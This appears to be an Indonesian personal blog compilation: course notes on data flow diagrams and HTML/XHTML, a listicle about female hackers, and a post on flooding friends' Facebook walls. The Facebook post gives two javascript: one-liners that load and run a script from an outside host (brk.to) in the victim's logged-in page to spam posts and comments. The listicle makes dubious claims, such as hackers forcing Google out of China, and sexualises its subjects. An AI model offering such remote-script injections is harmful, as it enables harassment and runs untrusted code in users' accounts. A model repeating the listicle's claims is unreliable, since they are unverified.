Data Flow Diagram

DATA FLOW DIAGRAM (DFD)

Pengertian Data Flow Diagram (DFD)

·         Data flow diagram (DFD) merupakan teknik grafik yang digunakan untuk menjelaskan aliran informasi dan transformasi data yang bergerak dari pemasukan data hingga keluaran.

·         Dengan menggunakan kombinasi 4 simbol, seorang analis sistem dapat membuat gambaran sistem.

Ketentuan dalam DFD

Empat lambang yang digunakan adalah;

-          External entity

-          Data flow

-          Process

-          Data store

1.      External Entity

                            

Entitas Luar dapat berupa orang, bagian lain  dalam organisasi, suatu mesin, atau sistem lain  yang dapat mengirim data atau menerima data dari sistem.

Entitas luar diberi nama dengan nama kata benda misalnya Customer, Bagian Pembelian, Sistem Pembelian, Barcode machine, dll.

Entitas luar dapat berupa :

-          Suatu kantor, departemen atau divisi dalam perusahaan tetapi di luar sistem yang sedang dikembangkan

-          Orang atau sekelompok orang di organisasi tetapi di luar sistem yang sedang dikembangkan.

-          Suatu organisasi atau orang yang berada diluar organisasi seperti pelanggan, pemasok dsb

-          Sistem informasi lain diluar sistem yang sedang dikembangkan

-          Sumber asli dari suatu transaksi

-          Penerima akhir dari suatu laporan yang dihasilkan oleh sistem

-           

2.      Data Flow

Data Flow menunjukkan perpindahan data dari satu titik ke titik yang lainnya, dengan tanda panah mengarah ke tujuan data.

Data flow diidentifikasi dengan kata benda, karena di dalam flow mengandung sekumpulan data.

Data flow dapat berupa :

-          Formulir atau dokumen yang digunakan di perusahaan

-          Laporan tercetak yang dihasilkan oleh sistem

-          Tampilan atau output dilayar komputer yang dihasilkan oleh sistem

-          Masukan untuk komputer

-          Komunikasi ucapan

-          Surat-surat atau memo

-          Data yang dibaca atau di rekamkan ke suatu file

-          Suatu isian yang dicatat pada buku agenda

-          Transmisi data dari suatu komputer ke komputer lain

3.      Process

Proses menunjukkan  tranformasi atau perubahan data dari satu bentuk ke bentuk lainnya.

Suatu proses harus menerima arus data dan menghasilkan arus data.

Nama proses di berikan sbb;

-          Menetapkan nama system secara keseluruhan saat menamai proses pada level paling tinggi. Contoh SISTEM KONTROL INVENTORI

-          Memberi nama subsistem utama menggunakan nama-nama seperti SUBSISTEM PELAPORAN INVENTORI.

-          Menggunakan format  kata kerja- kata benda-kata sifat untuk proses-proses yang mendetail. Contoh MENGHITUNG PAJAK PENJUALAN, MENYIAPKAN INVOICE PENGAPALAN, dll.

4.      Data store

Data store mengambarkan data yang disimpan dalam sistem, misalnya buku catatan pejualan, lemari file, table-tabel dalam database, tape, dll.

Data store dapat berupa :

-          Suatu file atau data base di sistem komputer

-          Suatu arsip atau catatan manual

-          Suatu kotak tempat data di meja seseorang

-          Suatu tabel acuan manual

-          Suatu agenda atau buku.

            Data store diberikan nama dengan nama benda yang sesuai data apa yang simpan di data store, misalnya Data Konsumen, Transaksi Penjualan, dll.

Mengembangkan DFD

Mengembangkan DFD dapat dilakukan setelah memahami aktivitas bisnis (bisnis process) dapat dilakukan prosedur sebagai berikut;

1. Membuat sebuah daftar kegiatan-kegiatan bisnis dan digunakan untuk menentukan

-          External entity

-          Data flow

-          Process

-          Data store

2. Membuat contex diagram
3. Medekomposisi ke Diagram level 0
4. Medekomposisi diagram level 0 menjadi level detail.
5. Mengecek kesalahan.
6. Mengembangkan DFD fisik
7. Membagi DFD fisik  yang mana proses komputerisasi dan yang bukan.

NB : maaf lambang belum bisa saya cantumkan,,karena belum bisa saya convert.

5 Hacker Cantik

Hacking, dunia bawah tanah keras nan unik. Kebanyakan ahli-ahli dalam bidang hacking didominasi oleh kalangan pria. tapi, siapa sangka ternyata wanita juga banyak ambil bagian dalam dunia ini. Kemampuan serta kiprahnya pun tidak kalah dengan kaum adam. Berikut ini bahasan tentang 5 Hacker wanita paling eksis di Dunia.

  
1. Ying Kracker

Ying Kracker, seorang pengajar dari Shanghai China. Dia mengajar tentang panduan dasar proses Hacking, cara merubah IP addres atau memanipulasi password kantor! Dia juga ahli dalam membuat software hacker. Dalam sebuah forum yang berjudul Chinese Hottie Hackers, namanya banyak di bahas dan itu membuat popularitasnya semakin menanjak. Dalam forum tersebut juga dia mempunyai anggota fans yang cukup banyak. Di situlah awal kredibilitasnya melambung.

  

2. Xiao Tian

Teringat dengan kata Hacker, biasanya yang terlintas di bayangan adalah seorang kutu buku dengan kaca mata tebal dengan gaya hidup yang acak-acakan. Tapi tidak berlaku untuk Xiao Tian. Dia adalah seorang Hacker yang modis. Penampilan dan gaya hidupnya begitu rapi, dinamis, bahkan terkesa feminim. Ia juga tertarik sekali dengan dunia fashion, khususnya sepatu. Dalam blognya dia sering bergai cerita tentang tempat-tempat yang pernah dia datangi. Itulah alasan mengapa Xiao Tian memiliki banyak fans dan followers di dunia, khususnya para pria. Xiao Tian, mulai dikenal sejak umur 19tahun. Setelah membentuk CHina Girl Securit Team, salah satu kelompok Hacker khusus wanita terbesar di China. Kiprahnya dalam dunia Hacking juga tidak diragukan lagi. Raksasa searc engine nomer satu di dunia, Google pun pernah merasakan serangan hebat dari Tian beserta timnya. Xiao Tian melakukan serangan canggih terhadap sistem infrastruktur Google China. Bahkan, Google akhirnya tidak tahan dan memilih untuk menarik semua layanan operasionalnya di China akibat hantaman Hacker yang bertubi - tubi tersebut.

  

3. Joanna Rutkowska

Joanna Rutkowska adalah seorang wanita Polandia yang tertarik dengan dunia Hacking Security. Namanya pertama kali dikenal setelah konferensi Black Hat Briefing di Las Vegas, Agustus 2006. Di mana saat itu Rutkowska mempresentaasikan proses serangan yang telah dia lakukan terhadap sistem keamanan windows vista. Tidak hanya itu, Rutkowska juga pernah menyerang Trusted Execution Technology dan System Management Mode milik Intel. Awal 2007 dia membentuk Invisible Things Lab di Warsawa, Polandia. Sebuah perusahaan yang befokus terhadap research keamanan OS juga VMM serta layanan konsultasi kemanan internet. Tahun 2010 juga Rutkowska bersama Rafal Wojtczuk membentuk Qubes, sebuah Operating System yang sangat full protect security. Rutkowska juga pernah memberikan saran terbuka untuk Vice President of Microsoft Security Technology Unit untuk lebih memperketat sistem keamanan dalam windows vista. Waw, Rutskowska memang seorang Hacker yang sangat welcome untuk diajak bekerjasama.

  

4. Kristina Svechinskaya

Kristina Svechinskaya adalah seorang mahasiswi New YOrk University yang ditahan pada 2 November 2010 lalu karena telah membobol jutaan dollar dari beberapa bank di Inggris dan Amerika. Bersama 9 orang lainnya, Svechinskaya meng-Hack ribuan rekening bank dan diperkirakan total fresh-money yang telah digasaknya itu sekitar 3juta dollar. Svechinskaya beserta tim awalnya menargetkan jumlah uang yang dicurinya adalah sekitar 220 juta dollar. Svechinskaya menggunakan Zeus Trojan Horse untuk menyerang ribuan rekening bank. Dia memiliki setidaknya 5rekening bank dunia untuk mencairkan dananya. Dalam aksinya itu, Svechinskaya juga melakukan pemalsuan paspor dan untuk itu total dia dituntut hukuman 40 tahun penjara bila terbukti bersalah. Seperti dilihat di gambar, bra yang digunakan gadis cantik ini terbuat dari berlian. Svechinskaya juga mendapat julukan sebagai Hacker terseksi di dunia. Ya, karena memang tampilan wajah, tatapn mata dan gaya berbusana Svechinskaya bisa membuat orang - orang tak berkedeip.

  

5. Raven Adler

Di urutan terakhir, kita punya Raven Adler. Seorang wanita berpenampilan gothic yang tertarik dengan dunia internet, khususnya dunia Hacking. Raven adalah wanita pertama yang pernah hadir dalam konferensi Hacker DefCon. Perhatian konferensi tentu saja tertuju penuh untuknya. Tapi dia mengaku tidak ingin memanfaatkan gender nya sebgai wanita untuk mendongkrak kredibilitasnya sebagai Hacker. Dalam banyak kesempatan pula, dia tidak begitu senang dipanggil dengan sebutan "Hacker Wanita". Dia lebih senang dipandang karena skillnya, bukan karena posisinya yang spesial sebagai seorang wanita. Saat ini dia aktif mendesihn, menguji dan mengauduit sistem detektor keamanan untuk berbagai agen - agen federal besar. Selain itu, disela - sela kesibukannya dia juga telaten mempelajarai ilmu beladiri Ryu Shorin Matsumura.

Flood wall / comment di facebook menggunakan JavaScript

Saya akan mencoba membagi ilmu (cieh) kepada para pembaaca untuk mengerjai atau menjahili teman anda di contact facebook kalian dengan cara mengeflood nya.

Apa itu Flood?? menurut definisi saya Flood adalah mengirim sebuah pesan yang sama dalam jumlah yang banyak hanya dalam 1x enter.

langsung saja saya beri gambar berikut sebagai contoh :

Maaf gambar saya perkecil sehingga kurang jelas. Di situ terlihat saya menge_post di wall salah seorang teman saya sebanyak 15 wall dengan isi yang sama dalam 1x enter.

bagaimana saya bisa melakukannya?? Saya menggunakan script JavaScript untuk mengirimkan pesan tersebut. Berikut saya berikan Scriptnya dan cara menggunakannya.

*javascript:(a = (b = document).createElement("script")).src = "//brk.to/wall", b.body.appendChild(a); void(0);

1. Buka halaman facebook teman anda yang akan anda kirimi pesan.
2. Ketikkan Script tersebut di addres bar. (lihat gambar)

3. Setelah itu tekan enter. akan muncul pop up sebagai berikut. (lihat gambar)

*keterangan : masukkan jumlah pesan yang akan dikirim, setelah itu klik "OK"

akan muncul pop up lagi sebagai berikut :

NB: masukkan pesan anda. Lalu tekan "OK"


4. tunggu antara 5 - 10 menit untuk pesan yang banyak (>50 pesan)
5. setelah itu tekan "F5" atau refresh
6. hasilnya silahkan kalian liat sendiri.










  untuk comment di wallpots script nya sebagai berikut

javascript:(a = (b = document).createElement("script")).src = "//brk.to/flood", b.body.appendChild(a); void(0);

untuk caranya masih sama seperti yang di atas.













selamat mencoba

content display

HTML Link

berdasarkan cara aksesnya:

absolute path link
akses link secara lokal (pengertian lokal disini, lokal dalam satu server)
relative path link
akses link secara global

anchor

text merupakan text dari link itu sendiri. Contohnya text “Download” yang merupakan link download, text “Download” tersebut dinamakan sebagai anchor text.

tag link

tag yang digunakan untuk menyatakan sebuah link adalah <a> dan di akhiri dengan </a>

atribut pada tag link/a

href: menyatakan tujuan link , diambil dari kata refrence atau merefrensikan
title: membuat judul dari link
name: memberikan nama pada link
id: berfungsi sama dengan attribut name

membuat link yang menuju ke halaman sama,
how?
1. berikan #nama_tujuan pada atribut href
2. berikan tag nama atau id pada tujuan
contoh:
<a href=index.html#paling_bawah>menuju ke bawah</a>
permisalahn,link yang akan dituju diletakkan paling bawah

<a id="#paling_bawah">text ini terletak paling bawah</a>
atau dapat juga menggunakan tag div dengan attribut id

HTML Frames

pada umumnya terletak di head, dan tidak boleh pada body
tag yang digunakan adalah tag <frameset> isi frame </frameset>
tag frameset memiliki attribute rows (menentukan perbandingan dan banyaknya baris) dan cols (menentukan perbandingan dan banyaknya kolom)
isi dari frameset adalah tag frame, dengan syntax <frame>
tag frame memiliki atribut src, sama seperti atribut src lainnya, <frame src="contoh.html"> digunakan untuk menampilkan contoh.html pada frame
contoh:
<frameset rows="2,2" cols="2,2">
<frame src="http://www.google.com">
<frame src="http://www.friendster.com">
<frame src="http://www.facebook.com">
<frame src="http://www.twitter.com">
</frameset>

code di atas akan menghasilkan empat jendela frame,
rows 1,1 berarti menampilakan 2 baris frame, dengan perbandingan baris 1 dan 2 50:50
bagaimana dengan rows 2,4,6??
browser akan dibagi 3 bagian dengan perbandingan 1:2:3
value dari rows dan cols tidak terbatas pada angka saja, dapat juga berupa persentase, px(pixel) atau pt(point)

frame src tidak hanya saja dapat memanggil atau menampilkan halaman html, dapat pula berupa gambar, jpg/png, dll

HTML Forms

form dibentuk dengan menggunakan pasangan tag

. Setiap elemen FORM harus mempunyai 2 buah atribut METHOD dan ACTION.

ACTION adalah URL dari script yang dipanggil oleh form tersebut

Method adalah cara mengirimkan data yang dimasukan pembaca ke web server. Form ini mempunyai dua metode yaitu GET dan POST.

Metode GET Adalah mengirimkan data pada server dengan cara meletakkannya pada bagian akhir URL.
<form action = “Proses.php” method = “GET”>
……………
……………
</form>
Metode POST Adalah mengirim seluruh data dari form yang terpisah dari URL
<form action = “Proses.php” method = “POST”>
……………
……………
</form>

<Form> Defines an HTML form for user input
<input> Defines an input control
<textarea> Defines a multi-line text input control
<select> Defines a select list (drop-down list)
<option> Defines an option in a select list
<button> Defines a push button

HTML Input

HTML Scripting

The <script> tag is used to define a client-side script, such as a JavaScript.

The script element either contains scripting statements or it points to an external script file through the src attribute.

Common uses for JavaScript are image manipulation, form validation, and dynamic changes of content.

<script type="text/javascript"> document.write("Hello World!") </script>

The <noscript> tag is used to provide an alternate content for users that have disabled scripts in their browser or have a browser that doesn’t support client-side scripting.

The noscript element can contain all the elements that you can find inside the body element of a normal HTML page.

The content inside the noscript element will only be displayed if scripts are not supported, or are disabled in the user’s browser:

<script type="text/javascript"> document.write("Hello World!") </script> <noscript>Sorry, your browser does not support JavaScript!</noscript>

<script> Defines a client-side script
<noscript> Defines an alternate content for users that do not support client-side scripts

1st content display

HTML Text Formating

Menggunakan tag kusus untuk memformat tampilan teks
Tag yang digunakan seperti <b> untuk format menebalkan teks dan <i> untuk format memiringkan teks

HTML Styles

Styles HTML, terletak pada tag tertentu. Styles atau attribute yang ada bisa dikatakan sebagai fungsi tambahan atau fitur tambahan dalam tag tersebut.
contoh:
<body bgcolor="red">
<p align="left">

HTML Images

Untuk memasukkan gambar pada html digunakan tag <img src="nama path/nama file">
ada juga attribut yang digunakan untuk memasukkan gambar di html, contohnya attribut background pada tag body, <body background="nama path/nama file">
Tag img, memiliki beberapa attribut lainnya seperti align dengan nilai top,middle,bottom yang berfungsi sebagai pengatur letak teks terhadap gambar
attribute standard lainnya seperti width dan height untuk mengatur ukuran gambar yang ingin ditampilkan

HTMLTables

Untuk membuat tabel di html, dimulai dengan tag awal <table> dan diakhiri dengan tag </table>
di dalam tag table tersebut nantinya berisi tag tag pendukung tabel,seperti:
untuk membuat header tabel
untuk mendefinisikan baris
untuk mendefinisikan kolom

Elemen HTML

Dimulai dengan start tag atau opening tag, dan diakhiri dengan end tag atau closing tag
Element content adalah segala sesuatu diantar start dan end tag
Beberapa element HTML memiliki elemen kosong (empty element) seperti <br />
Elemen kosong diawali dan diakhir pada tag itu juga
Kebanyakan elemen html memiliki atribut

HTML Tag

Nested tag, sudah pernah disinggung pada resume sebelumnya "Hindari pasangan tag yang berpotongan, contohnya jika tag </head> dipindah setelah tag <body>"

Atribut HTML

Bisa disebut sebagai kemampuan plus plus dari html tag
Contoh:
<p align=“center”>Gw Ganteng</p>
align center merupakan atribut dari tag paragraph

HTML Heading

struktut head menjelaskan isi dari web anda, seperti judul, index, maupun tag, yang nantinya berguna pada SEO
contoh html heading adalah tag meta, title
<metaname="keywords"content="gw ganteng andre ganteng xvanct/>
<meta name="description" content="ini adalah blog pribadi dari andre mentaya atau xvanct " />

nb:
Elemen META digunakan untuk memberikan informasi tentang suatu dokumen.

Elemen META bukan untuk mengantikan elemen title.

Elemen META digunakan untuk memberikan informasi lain yang bermanfaat bagi browser atau server.

HTML Paragraph

1111

2222

33333

teks 111 222 333 di atas dibuat menggunakan tag div

aaaaa

bbbbbb

ccccc

teks aaaa bbb ccc di atas dibuat menggunakan tag paragraph dengan atribut align

kuliah desweb minggu ke 2,,,

KONSEP HTML

*Definisi Markup Language : Markup Language adalah sejenis pengkodiean pada teks yang merepresentasikan teks sebagai suatu struktur detil tentang teks yang diperlihatkan.

*Web Page : Adalah sarana untuk mengemukakan ide - ide dalam merancang sebuah website, sebaiknya menentukan :

1. tujuan membuat website
2. tentukan halaman - halaman web yang diperlukan 
3. tntukan sasaran pembaca web 
4. tambahkan fitur suara, gambar, animasi atau fitur lainnya agar web terlilhat menarik 

*Struktur Web Page : pertimbangkan dengan baik cara mengelola dokumen tersebut. Hal yang paling mudah adalah dengan membuat struktur / bagan dari rancangan web yang di buat dengan jelas dan tidak menyimpang dari tujuan dan sasaran. Hal yang perlu disampaikan antara lain  

1. Pembukaan : Perkenalkan dokumen kepada pembaca disertai dengan ringkasan tentang maksud dokumen tersebut.
2. Menu Utama :  Perlihatkan isi dari seluruh website.
3. Penutup : Gunakan bagian ini untuk membuat suatu ringkasan atau meminta saran dan kritik.

*Hypertext Markup Language (HTML) : Adalah bahasa untuk mendeskripsikan halaman web

• HTML bukanlah bahasa pemrograman,,melainkan bahasa markup
• Bahasa markup adalah serangkain tag markup
• HTML menggunakan tag markup untuk menjelaskan halaman web
• HTML Documents = web pages
• HTML documents describe web pages
• HTML documents contain HTML tags and plain text
• HTML documents are also called web pages

STRUKTUR DOKUMEN HTML 

1.Dokumen HTML disusun Atas 3 Bagian, yaitu

• Pasangan tag yang berbentuk <html> dan </html> yang menandakan bahwa kode yang anda buat merupakan kode HTML. Di dalam tag <html> dan </html> umumbya terbagi atas kepala dan badan.

• Bagian kepala disimbolkan dengan tah <head> dan </head> yang berguna sebagai informasi umum dari sebuah halaman web. Pada b agian kepala, anda bisa menentukan judul dokumen HTML. Judul ini ditulis dalam pasangan tag <title> dan </title> (hanya boleh berada di bagian kepala).

• Bagia badan disimbolkan dengan tag <body> dan </body> yang berguna untuk mensetting attribut di seluruh dokumen.

2. Gunakan Selalu Huruf Kecil (lowercase)

perhatikan contoh HTML yang keliru di bawah ini :

 <table WIDTH="100">

<TR>

<TD>Contoh Teks</TD>

</TR>

</table>

Jika diperhatikan, tag ataupun atribut ada yang menggunakan huruf kapilat (uppercase). Ini menjadikan web yang di buat menjadi tidak standart, meskipun hasilnya di browser sama saja. Karena itu biasakan menggunakan huruf kecil dalam membuat tag HTML.

3. Hindari Pasangan Tag yang Berpotongan dengan Pasangan Tag Lain 

Sebuah pasangan tag bisa berada dalam pasangan tag yang lain. Tag ini sering disebut tag berkalang (nested tag). Contoh :

<html>

<head>

<title>blablabla</title>

</head>

</html>

Pasangan tag yang berpotongan dengan tag lain perlu dihindari. Karena akan menjadi error dan bukan merupakan bahasa HTML lagi.

*Extensible Hypertext Markup Language (XHTML)
Bahasa markup seperti halnya HTML, tetapi XML lebih terstruktur, salah sedikit saja, maka aplikaasi - aplikasi yang dapat membaca XML akan gagal membacanya.

* perbedaan antara XML dan HTML :

• HTML didesain untuk menampilkan data
• XML didesain untuk mendeskripsikan data  

contoh syntax XML :
<?xml version="1.0" encoding="UTF-8"?>
<profil>

<deskripsi>

<nama>Acmad Teguh Wibowo</nama>

<bagian>PPTI Lanti 8</bagian>

</deskripsi>

<hobi>

<pertama>tidur</pertama>

<kedua>makan</kedua>

</hobi>
<profil>


* Sejarah XHTML

W3C mengeluarkan standard baru yang menggabungkan kekuatan HTML dan XML menjadi satu yaitu XHTML. XHTML bisa di baca oleh semua alat yang mampu membaca XML dan browser - browser kuno.

* Kenapa Harus Standart?

• Tidak emua browser bisa membaca kode HTML yang tidak standart (browser link dan browser webbie).
• Kode XHTML lebih terstruktur maka serach engine dapat lebih mudah mengindeks website.  

*XHTML 1.0 sendiri di bagi menjadi 3 tipe dokumen, yaitu :

1. STRICT = Gunakan ini apabila anda benar - benar menginginkan kode  yang benar - benar terstruktur. beberapat tag sudah dihilangkan di sini seperti <iframe>. Harus mengkombinasikan antara XHTML dan CSS
2. TRANSITIONAL = Gunakan ini apabila anda ingin tampilan ditampilkan di dalam file XHTML tidak di CSS.
3. FRAMESET = Gunakan ini jika anda ngotot ingin menggunakan frames.

* Browser

Browser adalah suatu perangkat lunak yang digunakan untuk menampilkan halaman - halaman website.
Contoh browser :

1. Internet Explorer (IE)
2. Mozilla Firefox 
3. Google Chrome
4. Opera